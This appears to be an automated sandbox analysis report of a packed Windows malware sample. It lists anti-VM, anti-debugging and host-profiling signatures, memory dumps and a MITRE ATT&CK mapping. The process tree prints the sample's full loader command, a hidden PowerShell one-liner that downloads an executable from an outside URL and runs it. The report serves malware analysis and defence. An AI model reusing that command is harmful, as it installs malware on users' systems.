Analysis
- max time kernel
149s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-fr - resource tags
- submitted
02/10/2026, 15:55
General
- Target sx_client_protected.exe
- Size 3.6MB
- Sample261002-tc6wtade79
- SHA256 396bb9a3731ef8939c16becf3969249178ad90f6cc12b414cc406d5abc0c55c8
Malware Config
Signatures
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Themida packer 9 IoCs
Detects Themida, an advanced Windows software protection system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 TTPs 10 IoCs
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\sx_client_protected.exe"C:\Users\Admin\AppData\Local\Temp\sx_client_protected.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK370389.exe; Start-Process -FilePath $env:TEMP\BK370389.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK370389.exe; Start-Process -FilePath $env:TEMP\BK370389.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK370389.exe; Start-Process -FilePath $env:TEMP\BK370389.exe -WindowStyle Hidden }"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Replay Monitor
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Downloads
memory/804-17-0x00007FFDCF5E0000-0x00007FFDCFF84000-memory.dmp
memory/804-15-0x00000210757B0000-0x00000210757C0000-memory.dmp
memory/804-25-0x00007FFDCF5E0000-0x00007FFDCFF84000-memory.dmp
memory/804-24-0x00007FFDCF5E0000-0x00007FFDCFF84000-memory.dmp
memory/804-22-0x00000210759D0000-0x00000210759F0000-memory.dmp
memory/804-20-0x0000021075980000-0x00000210759C2000-memory.dmp
memory/804-12-0x00000210757C0000-0x00000210757E2000-memory.dmp
memory/804-10-0x0000021075820000-0x00000210758AA000-memory.dmp
memory/804-11-0x00007FFDCF5E0000-0x00007FFDCFF84000-memory.dmp
memory/804-9-0x00007FFDCF76F000-0x00007FFDCF770000-memory.dmp
memory/804-19-0x00007FFDCF5E0000-0x00007FFDCFF84000-memory.dmp
memory/804-18-0x00007FFDCF5E0000-0x00007FFDCFF84000-memory.dmp
memory/804-16-0x0000021075A40000-0x0000021075B42000-memory.dmp
memory/5772-6-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-7-0x00007FF61B27C000-0x00007FF61B27D000-memory.dmp
memory/5772-0-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-8-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-1-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-21-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-5-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-2-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-4-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp
memory/5772-3-0x00007FF61B1D0000-0x00007FF61BBC5000-memory.dmp